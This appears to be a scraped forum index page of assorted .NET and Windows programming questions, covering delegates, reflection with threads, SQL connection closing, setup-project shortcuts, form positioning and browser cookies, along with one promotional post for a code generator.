I have a timer that trigger an event OnGo that fires a function within
a class and now I'd like to have a number of functions that can be
called and is decided in an xml document. Possibly a stupid idea, but i
don't know how to proceed.
TopObj->holds instance of callerObj
callerObj-> creates a instance of delegateObj
callerObj -> assigns one of its own functions to the event
delegateObj.OnGo
If it doesn't make any sense tell me to bury it and rewrite...:-(
Example on what I would like to do:
namespace ANamespace{
public delegate void Invoke(string ObjId);
Class A{
public event Invoke OnGo;
.....
}
Class B {
A aClassObj;
...
public B()
{
aClassObj = new A();
}
public void functionAssign(string fName)
{
aClassObj.OnGo += new ANamespace.Invoke(fName);
}
public void callerFunction(string ID){...}
}
}
- 5
- Dotnet >> Getting handle to user' s tokenHi,
In my program I need the handle to the current user's token to perform
some operations in native code. I am trying to get the handle using
WindowsIdentity.GetCurrent().Token and pass it to my native dll.
Does this method return a handle to the user's token? Or is there some
other way to get it? Or is it better to do this in native code.
Thanks,
RB
- 6
- Dotnet >> using Reflection with Multithreadinghi,
i have a program that used reflection to execute methods. now i want to
execute the reflected method on a new thread but cant figure out how or if it
can be done. take the below code, for instance.
// Declare the types.
string AssemblyToRun = "C:\MyAss";
string ClassToRun = "MyClass"
string MethodToRun = "MyMethod"
// Setup reflection.
Assembly MyAssemblyToRun = Assembly.LoadFrom(@AssemblyToRun + ".dll");
Type MyClassToRun = MyAssemblyToRun.GetType(AssemblyToRun + "." +
ClassToRun, true, true);
MethodInfo MyMethodToRun = MyClassToRun.GetMethod(MethodToRun);
// Create an instance of the class.
object MyClassInstance = Activator.CreateInstance(MyClassToRun);
// Execute the method.
object RetVal = MyMethodToRun.Invoke(MyClassInstance, BindingFlags.Default,
null, null, null);
simple right. ok. all the above works fine. now if i want to execute the
method on a new thread I would add something like:
Thread MyNewThread = new Thread(new ThreadStart(ClassToRun + "."
MethodToRun));
MyNewThread.Start();
that does not work because "ThreadStart" is a delegate that wants a "void"
method and all i can pass it is a class instance or the method name as a
string. it also wont work when i use the class instance or the MyMethodToRun
instance of the reflected method.
how can i use reflection and multithreading together? is this possibble? is
there a way to invoke a reflected method on a new thread?
HELP !!!
- 7
- ADO >> MyGeneration for .NET (100% Free Code Generator / OR Mapper)MyGeneration is 100% free, tired of hand coding business objects, stored
procedures, spend your time wisely doing other thing and let us help you.
See http://www.mygenerationsoftware.com
1) MyGeneration is a Template Based Code Generator Supporting Four Template
Languages - JScript, VBScript, C# and VB.NET
2) Ability to Create Your Own Embedded User Interface in your Templates
3) Supported ORM Architectures - Gentle.NET, Opf3, NHibernate
4) MyGeneration dOOdads Architecture Included for Both C# and VB.NET (See
Menu)
5) Support for 11 Different Database Systems.
Microsoft SQL, Oracle, IBM DB2, MySQL, PostgreSQL, Microsoft Access,
FireBird, Interbase, SQLite, VistaDB, and Advantage.
5) Online Template Library for Publishing and Downloading Templates
6) Very Active Support Forums
7) No Hassle, No Questions asked Download
- 8
- ADO >> Close not closing...I've written a small app which has 2 buttons.
The 1st button goes away to a directory full of SQL Scripts, and then
runs them against the database.
The 2nd button has code to do some modifications to the database,
looking like the code below:
_______________________________________________________________________
_________
string connectionString;
connectionString =
Properties.Settings.Default.DatabaseConnectionString + databaseName;
// create a new SqlConnection object with the appropriate
connection string
SqlConnection sqlConn = new
SqlConnection(connectionString);
try
{
// open the connection
sqlConn.Open();
// create the command object
SqlCommand sqlComm = new SqlCommand(SQLCommands,
sqlConn);
sqlComm.ExecuteNonQuery();
// close the connection
sqlConn.Close();
MessageBox.Show("Operation Completed");
}
_______________________________________________________________________
_________
One of the scripts run from the script folder Drops a user, and then
Re-Creates them.
If I hit the script button first, then everything works fine.
However if I run the code button first, and then hit the script
button, an exception is thrown
saying that the user can not be dropped since they are currently
logged in!
I'm guessing I'm missing something, but it appears the Close method on
the sqlConnection object isn't
actually closing the connection...
Terminating the application and starting again resets the problem,
however there is nothing in
the dispose methods which would do that.
I've tried exchanging Close for Dispose but it made no difference.
Any help would be appreciated.
Cheers
Chris.
saying that a user is
- 9
- Dotnet >> .NET Setup Project always adds desktop shortcut (checkbox always evaluates to 1)I have developed a Windows application in Visual Studio .NET 2003 and
created a Setup project for it. In the File System Editor I have added
a shortcut to the User's Desktop folder to point to the application
once it has been installed. I have added a condition to the User's
Desktop named "DESKTOPSHORTCUT" (I have used several names, this is
just the latest). In the User interface, I have added a screen with a
checkbox that asks the user whether he/she wants to add a shortcut to
the desktop. The Property of the checkbox is "DESKTOPSHORTCUT" and the
checkbox is checked by default (I have also tried it as unchecked by
default).
When I run the installation, the application's Setup asks whether I
want to add a shortcut to the desktop and then it adds the shortcut
regardless of whether the checkbox is checked or not!
When I try to make the value of this custom property show up in one of
the dialogs that come after the one showing the checkbox (e.g. using
[DESKTOPSHORTCUT] in a text field dialog) I saw that the property
always evaluates to 1. That is why, clearly, my 'Condition' on the
'Desktop Folder' (namely "DESKTOPSHORTCUT=1") always evaluates to TRUE
and consequently the desktop shortcut is created always! -- There is no
'Condition' property on the shortcut itself, I hope this is not the
actual problem...
I have extensively combed through the documentation of creating a Setup
project and custom dialogs, but have been unable to find a solution. I
have, however, found a related discussion about that problem on the
Web, but no solution is provided there either:
> "VS.NET always adds desktop application"
> http://www.dotnet247.com/247reference/msgs/57/285214.aspx
Has anyone else encountered this problem, too? How can I fix this?
- 10
- Winforms >> Position of form questionWhen I use the Show() method to position a form, the runtime engine seems to
decide where to put it, normally just below and right of the parent window.
It does not seem to allow me to specify the co-ordinates in the Show(), and
it does not follow the Location property of the secondary form itself. I can
set the Location of the form after it is shown but then I see it painted in
the default location for a fraction of a second before it is moved.
How can I place it where I want it in a flicker-free way ?
- 11
- Visual C#.Net >> Desktop Iconshi all
is there anyway in C# or using winAPI that can help me in arranging desktop
icons on a small area in the middle of the desktop wallpaper or in more
detail can i set the coordinates of each icon as i wish
thx all
- 12
- Visual C#.Net >> How to use the base keyword to call a base class method (not a constructor)Hello,
I have read that the base keyword can be used not only to control a base
class instantiation (thus calling one of the base class constructors) but
also to access any other public or protected method in the parent class ...
I have search all over for an example of how to do this but have failed.
What I was wondering is about the syntax necessary to make such a call .....
Thx..
Bob Rock
- 13
- Microsoft Project >> MS Project 2003 viewers (Freeware)Does anyone know of a freeware Project 2003 viewer other than Steelray
I have users that need to view MS Project 2003 formatted but cant. Saving
the Project 2003 file in Project 98 format causes a loss of formatting and
useless. Please let me know of any recommendations.
Thanks
- 14
- Visual C#.Net >> regarding error "Http error-404 object not found"Hi all
I have visual studio 2003 and also configured IIS.But not able to
execute any web application.
I am a beginner and all the small web applications I had made some
days days ago were working perfectly .But now when i tried to execute
them again ,they are giving the error"Http error-404 object not
found" .what should I do.Please help me out.
thanks and regards
niki
- 15
- Winforms >> Howto pass a cookie to a web browserI have a windows application in vb.net which communicates with different
webservers. In some cases I want to start the internet explorer (or another
browser) with the current session. How can I pass the session cookie to the
browser?
|
|
|